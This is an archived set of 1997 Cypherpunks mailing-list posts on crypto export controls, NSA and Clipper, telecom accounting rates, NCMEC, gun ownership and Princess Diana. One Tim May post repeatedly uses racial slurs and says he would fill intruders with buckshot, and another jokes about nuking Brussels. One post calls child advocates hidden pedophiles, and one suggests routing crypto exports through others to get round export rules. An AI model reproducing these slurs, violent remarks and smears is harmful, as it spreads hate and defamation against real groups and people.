future. At the moment the FCC feels that many countries1/4 accounting
rates are inflated and bear no relation to the actual cost of
providing the service.

Poorer countries claim that it costs them much more to handle calls
because they struggle with antiquated infrastructure and that they
need the revenue from high accounting rates to cover the cost of
modernising their networks. In addition, for less developed
economies, the monies they receive in settlement rates are a precious
source of hard currency. The debate looks set to run and run with the
International Telecommunication Union (ITU) stuck between a rock and
hard place, trying to find a compromise that is acceptable to all
parties.

########################################################
Telecoms Newsline       {c} 1997 Hewlett-Packard Co.

 Editor:      Peter Judge
 Contributor: Annie Turner

 To subscribe to Telecoms Newsline send mail to
 <timalist@list.telecomsnewsline.com> with 'subscribe hp
 and your e-mail address' in message body. To unsubscribe,
 send mail to <timalist@list.telecomsnewsline.com> with
 'unsubscribe and your e-mail address' in or message body.

 Or visit our website at http://www.telecomsnewsline.com

 If you like us, pass it on. This publication is free
 and may be re-posted. Entire issues may be posted
 without alteration or editing. Individual stories
 may also be re-posted, with this message attached.
 If you want to re-post all issues to a Web site or
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 As Telecoms Newsline is available globally on the
 Internet, we cannot guarantee price or availability
 of products in your area.

 Editorial comments or questions please
 mailto:publisher@telecomsnewsline.com

########################################################

-------------------------------------------------------------------------
Bill Frantz       | The Internet was designed  | Periwinkle -- Consulting
(408)356-8506     | to protect the free world  | 16345 Englewood Ave.
frantz@netcom.com | from hostile governments.  | Los Gatos, CA 95032, USA






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Adam Back <aba@dcs.ex.ac.uk>
Date: Wed, 3 Sep 1997 19:00:37 +0800
To: tcmay@got.net
Subject: Re: Things we should be working on...
In-Reply-To: <v03102811b032245d2d79@[207.167.93.63]>
Message-ID: <199709022216.XAA00915@server.test.net>
MIME-Version: 1.0
Content-Type: text/plain




Tim May <tcmay@got.net> writes:
> One more question. Could you tell us which things you are talking about
> here, which things you returned to Canada to implement?

I can't see that export controls are much of a big deal for freeware
cypherpunk software ... just publish it on a US site with whatever
access controls you fancy.  It'll make it's way out of the country in
a few minutes and end up on replay.com, or one of the automated
mirrors of export control sites at ftp://idea.sec.dsi.unimi.it/pub/ or
where ever.

It's not as if you're trying to sell it, or are a corporation worrying
about stepping on toes at NSA Inc. 

> If you are actually going to Canada to release products, this might be even
> more interesting than either the Junger or Bernstein cases. Of course, if
> you discuss this openly, you may be inviting repercussions.

Just release it in the US.  Lets someone else do the export.

Adam
-- 
<A HREF="http://www.dcs.ex.ac.uk/~aba/rsa/print%20pack%22C*%22,split/%5cD+/,%60echo%20%2216iII*o%5cU@%7b$/=$z%3b%5b(pop,pop,unpack%22H*%22,%3c%3e)%5d%7d%5cEsMsKsN0%5blN*1lK%5bd2%25Sa2/d0%3cX+d*lMLa%5e*lN%250%5ddsXx++lMlN/dsM0%3cJ%5ddsJxp%22%7cdc%60%3b$/">
Have <I>you</I> exported RSA today?</A>





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Tim May <tcmay@got.net>
Date: Wed, 3 Sep 1997 14:38:01 +0800
To: cypherpunks@cyberpass.net
Subject: Re: Europe puts pressure on FCC over accounting rate moves
In-Reply-To: <v03007811b032ab0c6dc7@[207.94.249.183]>
Message-ID: <v03102800b032b35c0ee8@[207.167.93.63]>
MIME-Version: 1.0
Content-Type: text/plain



At 10:52 PM -0700 9/2/97, Bill Frantz wrote:
>#######################################################
...
>Europe puts pressure on FCC over accounting rate moves
>------------------------------------------------------
>The European Commission (EC) has warned the US regulator, the Federal
>Communications Commission (FCC), that its unilateral action (see TN
>46) could jeopardise the World Trade Organisation agreement on
>telecoms. The FCC has rejected the WTO agreements sanctioned by the
>ITU, and intends to impose its own cost-based accounting tariff for
>international call terminations.
>
>The US suffers an enormous trade deficit in telecoms services
>because its international calls are much cheaper than those in many
>other countries. This means that far more traffic originates in the
>US for termination overseas than comes in from abroad, resulting in
>American international operators paying out more than US$5 billion
>per year to foreign carriers for the termination of calls.
...

The basic flaw in all of these analyses stems from lumping all of these
market transactions together into national bins.

The whole "trade deficit" talk, on all sides, suffers from this fatal flaw.
If Company A in nominal nation AA gets more business than Company B in
nominal nation BB, the pundits call this "imbalanced trade." I call it
knowing where the bargains are.

Can't we spare one of our nukes for Brussels? And another for Cherbourg, or
wherever it is the EC has its other HQ?

(Note to Greg Broiles: You will undoubtedly claim that I should check my
facts more thoroughly before sending this message. When you start paying me
$150 an hour (cheap by attorney's inflated fee schedules) I will promise to
spend an extra 10-20 minutes per post doing Web searches to verify trivial
details.)

--Tim May

There's something wrong when I'm a felon under an increasing number of laws.
Only one response to the key grabbers is warranted: "Death to Tyrants!"
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay@got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: ichudov@Algebra.COM (Igor Chudov @ home)
Date: Wed, 3 Sep 1997 12:46:24 +0800
To: enoch@zipcon.net (Mike Duvos)
Subject: Re: Missing Kids and Porn Links
In-Reply-To: <19970903035857.3253.qmail@zipcon.net>
Message-ID: <199709030438.XAA17630@manifold.algebra.com>
MIME-Version: 1.0
Content-Type: text



Most of people who publicly "care for children" are hidden pedophiles or
control freaks, in my humble opinion.

igor

Mike Duvos wrote:
> 
> 
> Damaged Justice <frogfarm@yakko.cs.wmich.edu> writes:
> 
>  > The National Center for Missing and Exploited Children
>  > (NCMEC) encourages the owners of Web sites to add a link
>  > that will bring up the picture of a different missing child
>  > every ten minutes. According to Ruben Rodriguez, Supervisor
>  > of the Exploited Child Unit, the Center is getting 70 to 80
>  > requests a day for information to create the link. Some
>  > sites, however, have taken the initiative themselves,
>  > including pornographic Web sites.
> 
>  > One popular porn site proclaims on its home page that,
>  > "This Site Cares About Our Young Children! Please Take A Few
>  > Seconds To Look At The Pictures Of The Missing Children!!
>  > Every Ten Minutes When You Reload A Different Child's
>  > Picture Appears! If We Can Save Just ONE! Then Wouldn't That
>  > Be Worth It?" That particular site, said Rodriguez, will get
>  > a cease and desist letter from the Center's chief legal
>  > counsel.
> 
> The thing to realize here is that NCMEC is an agency which
> receives almost 100% of its funding from government agencies, one
> of which is the Juvenile Justice division of the US DOJ.
> 
> It has about as much to do with childrens' rights as aardvarks
> have to do with starship design.  It exists primarily so that
> news organizations can point and say "Childrens' Advocates
> Praised the President's Decision" every time childrens' civil
> liberties are further reduced, or some laughable new definition
> of child porn is criminalized.
> 
> In addition, it helps to conduct the war against imagined
> pedophiles, both at home and abroad, and enforces the property
> rights of parents against any minor under the age of 18 who dares
> to leave their bed and board.  These two agendas may be easily
> combined, since if one is not with ones parents, one is obviously
> in the clutches of an exaltation of pedophiles grooming one for a
> life of sexual depravity.
> 
> While reasonable people would see little problem in popular adult
> web sites also posting missing childrens' pictures, NCMEC toes
> the child sex hysteric party line, and accepts links only from
> ideologically pure "Save the Children" organizations, like CPAC,
> which engage in content-based harrassment of perfectly legal
> material, and which subscribe to the doctrine of "Voodoo
> Molestation" when otherwise ordinary photographs are viewed.
> 
> If you're a missing or exploited child, seek the services of a
> good childrens' legal advocate, not NCMEC, unless of course you
> wish to have your picture on numerous grocery items, be returned
> to your parents in handcuffs, and be used to promote someone
> elses political agenda, the only "services" NCMEC has ever
> managed to provide to children in need.
> 
> --
>      Mike Duvos         $    PGP 2.6 Public Key available     $
>      enoch@zipcon.com   $    via Finger                       $
>          {Free Cypherpunk Political Prisoner Jim Bell}
> 



	- Igor.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Brian B. Riley" <brianbr@together.net>
Date: Wed, 3 Sep 1997 11:49:18 +0800
To: "Jonathan Wienke" <cypherpunks@cyberpass.net>
Subject: Re: Information
Message-ID: <199709030342.XAA10226@mx01.together.net>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1

On 9/2/97 9:28 PM, Jonathan Wienke (JonWienk@ix.netcom.com)  passed
this wisdom:

>What part of "the right of the people to keep and bear Arms, shall
>not be infringed" is too hard to understand? (From 2nd Amendment,
>U.S. Constitution)
>
>When everyone is armed, criminals fear everyone, not just
>the police.

 Just curious, where did you ever get the idea that criminals fear the
police? The way our system works these days, the police are hardly
more than an annoyance and inconvenience (unless of course an NYC cop
asks if you want to go to the bathroom!) rather than to be feared.


-----BEGIN PGP SIGNATURE-----
Version: PGP for Personal Privacy 5.0
Charset: noconv

iQA/AwUBNAzcg8dZgC62U/gIEQLHxgCfTSfMBGA7bf4jWPQD4ATa6Gn2AEEAmgMV
QvRO7Ta6RadyVeNYqdnx6+vw
=VoET
-----END PGP SIGNATURE-----


Brian B. Riley --> http://www.macconnect.com/~brianbr
       For PGP Keys -  Send Email Subject "Get PGP Key"
 	"When you find yourself on the side of the majority, it is 
     time to reform."	-- Mark Twain






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jonathan Wienke <JonWienk@ix.netcom.com>
Date: Wed, 3 Sep 1997 14:44:21 +0800
To: "Brian B. Riley" <cypherpunks@cyberpass.net
Subject: Re: Information
In-Reply-To: <199709030342.XAA10226@mx01.together.net>
Message-ID: <3.0.3.32.19970902234544.006e53c8@popd.netcruiser>
MIME-Version: 1.0
Content-Type: text/plain



At 11:42 PM 9/2/97 -0400, anti-matter aliens from another dimension
tortured Brian until he wrote:
>On 9/2/97 9:28 PM, Jonathan Wienke (JonWienk@ix.netcom.com) passed
>this wisdom:
[Editor's note: this must be how wisdom is like flatus.]

>>What part of "the right of the people to keep and bear Arms, shall
>>not be infringed" is too hard to understand? (From 2nd Amendment,
>>U.S. Constitution)
>>
>>When everyone is armed, criminals fear everyone, not just
>>the police.
>
> Just curious, where did you ever get the idea that criminals fear the
>police? The way our system works these days, the police are hardly
>more than an annoyance and inconvenience (unless of course an NYC cop
>asks if you want to go to the bathroom!) rather than to be feared.

You are right, of course, to a point.  Criminal don't fear cops like
vampires fear wooden stakes, or like certain politicians /
three-letter-agencies fear and loathe private gun ownership, or like most
women fear most spiders and snakes.  However, most criminals do make some
effort to avoid committing crimes in the presence of law enforcement
officers, and try to avoid capture and incarceration by same.  (Those who
don't, appear on "America's Dumbest Criminals" or White House press
briefings, I forget which...)

On the other hand, a homeowner with a 12-gauge riot shotgun or a Desert
Eagle .44 Magnum pistol can instill fear into almost any criminal, even the
stupid ones.  (The only thing I don't like about the Eagle is that a 75+
ounce pistol is rather difficult to conceal.  I have a shoulder holster for
mine, and I have to carry four magazines on the off side so I don't walk
like Quasimodo. :)  Even a Jennings .22 can ruin a mugger's day, assuming
that it doesn't jam, and you can hit anything with it.

Jonathan Wienke

What part of "the right of the people to keep and bear Arms, shall not be
infringed" is too hard to understand? (From 2nd Amendment, U.S. Constitution)

When everyone is armed, criminals fear everyone, not just the police.

PGP 2.6.2 RSA Key Fingerprint: 7484 2FB7 7588 ACD1  3A8F 778A 7407 2928
DSS/D-H Key Fingerprint: 3312 6597 8258 9A9E D9FA  4878 C245 D245 EAA7 0DCC
Public keys available at pgpkeys.mit.edu. PGP encrypted e-mail preferred.

US/Canadian Windows 95/NT or Mac users:
Get Eudora Light + PGP 5.0 for free at http://www.eudora.com/eudoralight/
Get PGP 5.0 for free at http://bs.mit.edu:8001/pgp-form.html

Other PGP 5.0 sources:
http://www.ifi.uio.no/pgp/
http://www.heise.de/ct/pgpCA/download.shtml
ftp://ftp.pca.dfn.de/pub/pgp/V5.0/
ftp://ftp.fu-berlin.de/pub/pc/win95/pgp
ftp://ftp.fu-berlin.de/pub/mac/pgp
http://www.shopmiami.com/utopia.hacktic.nl/pub/replay/pub/pgp/pgp50/win/

print pack"C*",split/\D+/,`echo "16iII*o\U@{$/=$z;[(pop,pop,unpack"H*",<>
)]}\EsMsKsN0[lN*1lK[d2%Sa2/d0<X+d*lMLa^*lN%0]dsXx++lMlN/dsM0<J]dsJxp"|dc`





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: TruthMonger <tm@dev.null>
Date: Wed, 3 Sep 1997 14:16:30 +0800
To: cypherpunks@toad.com
Subject: Jim Bell Information
In-Reply-To: <199709022232.AAA10117@basement.replay.com>
Message-ID: <340CF99F.6B6F@dev.null>
MIME-Version: 1.0
Content-Type: text/plain



> > > |> >>Dave K-P <k.p@snet.net> writes:
> > > |> >>
> > > |> >>>> > > > Information, please!
> > > |> >>>> > > Dont go swimming on a full stomach.
> > > |> >>>> > Don't "escrow" your keys.
> > > |> >>>> Don't take advice from strangers.
> > > |> >>>Don't ask, don't tell.
> > > |> >>Don't eat yellow snow.
> > > |> >Don´t spit, just swallow.
> > > | >Don't touch anything.
> > > Don't touch _there_.
> > Never piss into the wind.
> Don't pull on a psycho's cape.
Don't pull the mask off the old Lone Ranger
 and don't mess around with Jim






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Tim May <tcmay@got.net>
Date: Wed, 3 Sep 1997 15:18:04 +0800
To: cypherpunks@cyberpass.net
Subject: Re: Fate of Jews in America (fwd)
In-Reply-To: <18adffbcbf3db09095d3735819c68cbc@anon.efga.org>
Message-ID: <v03102801b032ba10a225@[207.167.93.63]>
MIME-Version: 1.0
Content-Type: text/plain



At 11:35 PM -0700 9/2/97, Anonymous wrote:
>Cypherpunks are in no position to make remarks about Jewish racism.
>
>Jews were far more welcoming to such as Sammy Davis, Jr. than many
>cypherpunks would be.  "Off my porch, nigger!" would be the undoubted
>greeting from some of our ostensible leaders, as they take shotgun in
>hand.

If the nigger demanded entrance to my porch, or snuck in at night, then I
would indeed fill the nigger with buckshot. Ditto for the honkey. Or the
slope.

If, however, the black or white or whatever acted in a nonthreatening,
nondemanding, mutually voluntary way, why would I care what his melanin
level was? Nothing in this "Sammy Davis" you refer to suggests he forced
his way onto anyone's porch. (If he did, then of course he should have been
shot dead.)

There are blacks in the Cypherpunks group. some of whom have come to CP
meetings in the Bay Area. I don't recall anyone chasing them off with
shotguns or AR-15s, or even making racist comments.

(It is true that the vast majority of Cypherpunks are basically
libertarian, and hence are not keen on government programs to favor one
race or sex or group over another. Jesse Jackson calls this point of view
"racism." "Ending discrimination in favor of some races is racism," he
claims. Most list members would reject this.)

Besides, in a society with strong crypto, how are you or any government
going to stop people from dealing with whomever they wish, on whatever
basis they wish?

--Tim May

There's something wrong when I'm a felon under an increasing number of laws.
Only one response to the key grabbers is warranted: "Death to Tyrants!"
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay@got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bill Stewart <stewarts@ix.netcom.com>
Date: Wed, 3 Sep 1997 15:28:48 +0800
To: Tim May <tcmay@got.net>
Subject: Re: Things we should be working on...
In-Reply-To: <5uhpc1$vf2$1@abraham.cs.berkeley.edu>
Message-ID: <3.0.2.32.19970903001204.0305f980@popd.ix.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain



At 12:56 PM 9/2/97 -0700, Tim May wrote:
>My understanding was that you had to do most of your work in Canada because
>of U.S. restrictions on those with student visas?
>Certainly you are just as much in violations of the EARS by going to Canada
>to do your crypto work as Rivest and Company would be in by crossing into
>Canada to develop stuff for RSADSI.
>Am I missing something here?

Yeah, you're missing that Ian's a Canadian, not subject to US laws when
he's not in US territory, unlike Rivest (but not unlike Shamir.)
Taking working papers with him might be an export problem, but 
taking ideas in his head isn't, and when he's at home, he can work,
subject to Canadian limits on writing, publishing, and internetting crypto.
If he wants to sell products based on his crypto work,
there may be student visa issues involved, but there's a Canadian corporation
that can take care of some of those problems for him.


#			Thanks;  Bill
# Bill Stewart, +1-415-442-2215 stewarts@ix.netcom.com
# You can get PGP outside the US at ftp.ox.ac.uk/pub/crypto/pgp
#   (If this is a mailing list or news, please Cc: me on replies.  Thanks.)





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Robert Hettingazzi <rh@dev.null>
Date: Wed, 3 Sep 1997 14:40:57 +0800
To: cypherpunks@toad.com
Subject: Re: Death Pictures of Diana on InterNet!!!
In-Reply-To: <19970903051312.12398.qmail@zipcon.net>
Message-ID: <340CFFD0.E9A@dev.null>
MIME-Version: 1.0
Content-Type: text/plain



"I *lov'a* dis'a leest!"

Mike Duvos wrote:
> 
> Dr. Vulis writes:
> 
> > This is off-topic, but... Why do people refer to the bastards who ran
> > Di's car off the road by some weird italian name?
> 
> In 1958, there was an Italian photographer named Tazio Secchiaroli who
> discovered that newspapers would pay big money for pictures of "surprised"
> celebrities.  He is best known for a photograph of Egypt's King Farouk
> overturning a restaurant table in frustration after being harrassed during
> his meal.
> 
> When Federico Fellini made his 1960 film, "La Dolce Vita," where Marcello
> Mastroianni played a frustrated gossip columnist, he created a
> photographer sidekick for him based on Secchiaroli which he named
> "Parparazzo" in the film.
> 
> Since then, annoying photographers seeking to intrude upon celebrities and
> provoke them into performing for the camera have been referred to as
> "Paparazzi."
> 
> --
>      Mike Duvos         $    PGP 2.6 Public Key available     $
>      enoch@zipcon.com   $    via Finger                       $
>          {Free Cypherpunk Political Prisoner Jim Bell}






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: TruthMonger <tm@dev.null>
Date: Wed, 3 Sep 1997 14:38:48 +0800
To: cypherpunks@toad.com
Subject: Re: Missing Kids and Porn Links
In-Reply-To: <199709030151.VAA07747@yakko.cs.wmich.edu>
Message-ID: <340D004C.21D2@dev.null>
MIME-Version: 1.0
Content-Type: text/plain



Damaged Justice wrote:
> [Relevant for all recent discussions on "linking without permission", as
> well as the usual childpornhysteriamongering.]

>                           [2]Newsbytes Advertising
> Missing Children Pix On Websites Overpopular
> 
>    ****Missing Children Pix On Websites Overpopular 09/02/97 SEATTLE,
>    WASHINGTON, U.S.A., 1997 AUG 29 (NB) -- By Bruce Miller. The National
>    Center for Missing and Exploited Children (NCMEC) encourages the
>    owners of Web sites to add a link that will bring up the picture of a
>    different missing child every ten minutes. According to Ruben
>    Rodriguez, Supervisor of the Exploited Child Unit, the Center is
>    getting 70 to 80 requests a day for information to create the link.
>    Some sites, however, have taken the initiative themselves, including
>    pornographic Web sites.
> 
>    "This is the kiss of death for us," said Rodriguez. "We want the
>    public to help us find missing and exploited children. The Internet
>    public is coming to us to display our banner on our sites.
>    Unfortunately, there are some locations on the Internet that are
>    inappropriate."

  We *must* take immediate action to prevent missing children from being
found by people who don't consider nudity shameful, people who smoke,
fat people, Jewish people, people with more than three speeding
tickets...

ConcernedMonger






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Abstruse <Abstruse@technologist.com>
Date: Wed, 3 Sep 1997 12:38:12 +0800
To: cypherpunks@toad.com
Subject: Re: Information
In-Reply-To: <199709022232.AAA10117@basement.replay.com>
Message-ID: <340CE6B5.7CB3@technologist.com>
MIME-Version: 1.0
Content-Type: text/plain



Anonymous wrote:
> 
> > > |> >>Dave K-P <k.p@snet.net> writes:
> > > |> >>
> > > |> >>>> > > > Information, please!
> > > |> >>>> > > Dont go swimming on a full stomach.
> > > |> >>>> > Don't "escrow" your keys.
> > > |> >>>> Don't take advice from strangers.
> > > |> >>>Don't ask, don't tell.
> > > |> >>Don't eat yellow snow.
> > > |> >Don´t spit, just swallow.
> > > | >Don't touch anything.
> > > Don't touch _there_.
> > Never piss into the wind.
> Don't pull on a psycho's cape.

Don't jump to confusions..





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Ray Arachelian <sunder@brainlink.com>
Date: Wed, 3 Sep 1997 12:37:57 +0800
To: cypherpunks@toad.com
Subject: Re: Clinton, Commerce, and Crypto scandal
In-Reply-To: <Pd+GYWt/DaNdTTMhZshxHQ==@bureau42.ml.org>
Message-ID: <Pine.SUN.3.96.970903002549.6760E-100000@beast.brainlink.com>
MIME-Version: 1.0
Content-Type: text/plain



On Wed, 3 Sep 1997, bureau42 Anonymous Remailer wrote:

> Ira Sockowitz moved from commerce to SBA taking a few things with him:
> 
> An excerpt:
> 
> The classified information Sockowitz took was so sensitive it threatened
> to put the National Security Agency, or NSA, out of business, because the
> files included information about encryption chips (which safeguard
> computers) that the spy agency itself can't break. These are files for
> which high-tech companies lust and countries would kill. 
> 
> http://members.aol.com/beachbt/socko.htm

And he didn't like happen to post all those plans and files on the net
did he?  too bad... :I

=====================================Kaos=Keraunos=Kybernetos==============
.+.^.+.|  Ray Arachelian    |Prying open my 3rd eye.  So good to see |./|\.
..\|/..|sunder@sundernet.com|you once again. I thought you were      |/\|/\
<--*-->| ------------------ |hiding, and you thought that I had run  |\/|\/
../|\..| "A toast to Odin,  |away chasing the tail of dogma. I opened|.\|/.
.+.v.+.|God of screwdrivers"|my eye and there we were....            |.....
======================= http://www.sundernet.com ==========================





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Anonymous <anon@anon.efga.org>
Date: Wed, 3 Sep 1997 12:40:58 +0800
To: cypherpunks@toad.com
Subject: Diana on a stick
Message-ID: <16f3cc8e4270d773fea83227ae514a06@anon.efga.org>
MIME-Version: 1.0
Content-Type: text/plain



Rumor has it that Princess Diana will be put on a barbeque-style spit
in her coffin, so that when the Buckingham Palace spin doctors are
done with her, she will be able to roll over in her grave at a high
rate of speed.

Dr. Roberts
~~~~~~~~~~~






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@REPLAY.COM (Anonymous)
Date: Wed, 3 Sep 1997 06:54:43 +0800
To: cypherpunks@toad.com
Subject: Death Pictures of Diana on InterNet!!!
Message-ID: <199709022231.AAA10065@basement.replay.com>
MIME-Version: 1.0
Content-Type: text/plain



	Made you look!

	"We have met the public, and he is _us_."

UsMonger






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@REPLAY.COM (Anonymous)
Date: Wed, 3 Sep 1997 06:51:40 +0800
To: cypherpunks@toad.com
Subject: Re: Information
Message-ID: <199709022232.AAA10117@basement.replay.com>
MIME-Version: 1.0
Content-Type: text/plain



> > |> >>Dave K-P <k.p@snet.net> writes:
> > |> >>
> > |> >>>> > > > Information, please!
> > |> >>>> > > Dont go swimming on a full stomach.
> > |> >>>> > Don't "escrow" your keys.
> > |> >>>> Don't take advice from strangers.
> > |> >>>Don't ask, don't tell.
> > |> >>Don't eat yellow snow.
> > |> >Don´t spit, just swallow.
> > | >Don't touch anything.
> > Don't touch _there_.
> Never piss into the wind.
Don't pull on a psycho's cape.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@REPLAY.COM (Anonymous)
Date: Wed, 3 Sep 1997 06:54:37 +0800
To: cypherpunks@toad.com
Subject: New Eternity Server?
Message-ID: <199709022237.AAA10568@basement.replay.com>
MIME-Version: 1.0
Content-Type: text/plain



Tim May wrote:
 
> Or to express things more elliptically. It pays to be Young.

Is there an eternity server named "Forever Young?" Perhaps someone
should start one up, and use it a place to send posts that don't really
belong on any particular mailing list, because no one can quite figure
out what they mean, but should be available to read somewhere, because
they clearly say something that it is important to know, but nobody can
quite figure out what it is.
The web site could carry a "Je Ne Sais Quois" rating.

JeNeSaisQuoisMonger






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bill Stewart <stewarts@ix.netcom.com>
Date: Wed, 3 Sep 1997 19:00:42 +0800
To: cypherpunks@algebra.com
Subject: Re: NSA/NIST Security Lab
In-Reply-To: <Pine.SUN.3.96.970902130805.26062D-100000@beast.brainlink.com>
Message-ID: <3.0.2.32.19970903004312.0305d588@popd.ix.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain



At 10:51 AM 9/2/97 -0700, Tim May wrote:
>Now, Ray, you're being too harsh. When NSA/NIST sought the analysis of
>Clipper/Tessera several years ago, the distinguished panel met for a
>weekend in a D.C. area hotel and concluded...drum roll...that
>Clipper/Tessera was secure.

No, they put out an interim report asserting that Skipjack was secure,
promising to do a final report covering the Clipper chip, the escrow system,
the key-loading charade in the vault, and all the other things that make
Clipper,
and hyped the <expletive deleted> out of how secure Skipjack was, 
implying that you should trust Clipper and the friendly NSA that gave it to
you.
Of course, N years later, they haven't come out with that final report,
and in context issuing the Skipjack interim part was a blatantly dishonest
ploy,
as well as being too short an analysis to be anything resembling thorough,
even if Skipjack is fairly strong (which it probably is, for 80 bit Feistel.)

>Of course, Matt Blaze broke the Tessera version a few months later....

Not an extremely practical break, but good enough to show the
fundamental shoddiness of the Clipper system and embarass them at a time
that a good heavy-duty embarassment was politically damaging.

>Some believe they have a role in helping industry to secure its
>communications.  I don't agree.  The NSA has no business getting involved 
>in business.  Period.

I think they've got a role in making sure that defense contractors
making products for the US military, whether the contractors are handling 
militarily sensitive information or especially building tools that the
military will use to handle sensitive information, are adequately secure.
You could argue that that's a job for some other centralized expert agency
that's under better civilian control or Pentagon control rather than
being out of control (as the CIA is), perhaps National Science Foundation,
but it's also arguable that the only people who can do an adequate job
of protecting secrets are people with lots of practice cracking them,
and that's something pretty much like an NSA.

There's also a potential role, though it's a much tougher sell,
for NSA or similar experts helping the State Department,
and perhaps civilian Federal agencies that handle private 
information about citizens, do a good job at protecting it,
though the military models of security are often not a good match
for civilian data protection.  My past experience with the NSA
"helping" the State Department was a 3-year debacle in the late 80s,
where they provided a bunch of unrealistic wish-list advice to a bunch of,
ummm, technically challenged Wang administrators about how to build
a secure world-wide network, which gradually fell apart in turf battles
because the main Embassy customers for highly secure communications
don't really work for State and they wanted their secure network 
provided by Real Spooks, and they may not have had the budget or political
clout to get a network built but they could sure spoil a procurement :-)

But other than supporting Federal customers, they ought to leave business 
alone, at least until they get privatized....

#			Thanks;  Bill
# Bill Stewart, +1-415-442-2215 stewarts@ix.netcom.com
# You can get PGP outside the US at ftp.ox.ac.uk/pub/crypto/pgp
#   (If this is a mailing list or news, please Cc: me on replies.  Thanks.)





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Tim May <tcmay@got.net>
Date: Wed, 3 Sep 1997 19:00:47 +0800
To: Bill Stewart <stewarts@ix.netcom.com>
Subject: Re: Things we should be working on...
In-Reply-To: <v03102810b0321f16eff2@[207.167.93.63]>
Message-ID: <v03102802b032c24a90d7@[207.167.93.63]>
MIME-Version: 1.0
Content-Type: text/plain



At 12:12 AM -0700 9/3/97, Bill Stewart wrote:
>At 12:56 PM 9/2/97 -0700, Tim May wrote:
>>My understanding was that you had to do most of your work in Canada because
>>of U.S. restrictions on those with student visas?
>>Certainly you are just as much in violations of the EARS by going to Canada
>>to do your crypto work as Rivest and Company would be in by crossing into
>>Canada to develop stuff for RSADSI.
>>Am I missing something here?
>
>Yeah, you're missing that Ian's a Canadian, not subject to US laws when
>he's not in US territory, unlike Rivest (but not unlike Shamir.)
>Taking working papers with him might be an export problem, but
>taking ideas in his head isn't, and when he's at home, he can work,
>subject to Canadian limits on writing, publishing, and internetting crypto.
>If he wants to sell products based on his crypto work,
>there may be student visa issues involved, but there's a Canadian corporation
>that can take care of some of those problems for him.

"Sigh"

As I've answered four people with in private e-mail, I'm fully aware that
Ian is Canadian. This is why he presumably returns to Canada on vacations.
I think he's from Toronto, if memory serves.

But I was not aware that this exempted him from the U.S. Export
Administration laws, known variously as the Export Administration
Regulations (the EARs), the ITARs (old name), or related to the "Munitions
Act." I admit that the EARs are a dense read (cf. glimpses at several
sites, incl. http://bxa.fedworld.gov/ear.html). It's possible that a court
would rule that Ian's 10 months out of the year residency in the U.S. does
not make him subject to the EARs, but I think otherwise.

(Is Ian also exempt from the Espionage Act?)

Now the issue is whether Ian's admitted (here, today) use of trips to
Canada as a subterfuge to bypass the EARs is in fact an admission of
violation of the EARs.

Personally, my hunch is that nobody in D.C. much cares what Ian is now
doing. Not because he's not doing good work, but because they have no
interest in stopping this work. But this is a different thing from saying
that Ian is exempt from the EARs if he goes back to Canada to either finish
a piece of work started in California or to codify the thinking begun in
California. By any reasonable sense of the EARs, this would be as much a
violation of the EARs as if Jim Bidzos went to Greece on vacation and wrote
a new piece of software.

(Note that Bidzos is not a citizen of the United States. He retains Greek
citizenship. He is thus essentially analogous to Ian Goldberg, modulo some
issues of wealth and coding ability, and age.)

I am not saying Ian will be prosecuted or hassled. I am saying I think it
is poor legal advice to suggest that Ian, though he attends school in
California, is miraculously exempted from the force of the U.S. EARs when
he is temporarily back in Canada.

And I repeat what I understood Ian's situation to be, from what he
personally told me some months back: he is forbidden by U.S. Immigration
law from most kinds of normal employment while on a student visa in the
U.S. (graduate student stipends being not part of this "most"), and thus
must be back in Canada to act as an ordinary consultant or author.

This apparently has little to do with the point of evading the EARs. Could
Ian please clarify the situation?

--Tim May


There's something wrong when I'm a felon under an increasing number of laws.
Only one response to the key grabbers is warranted: "Death to Tyrants!"
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay@got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bill Stewart <stewarts@ix.netcom.com>
Date: Wed, 3 Sep 1997 18:59:51 +0800
To: cypherpunks@toad.com
Subject: Re: Clinton, Commerce, and Crypto scandal
In-Reply-To: <Pd+GYWt/DaNdTTMhZshxHQ==@bureau42.ml.org>
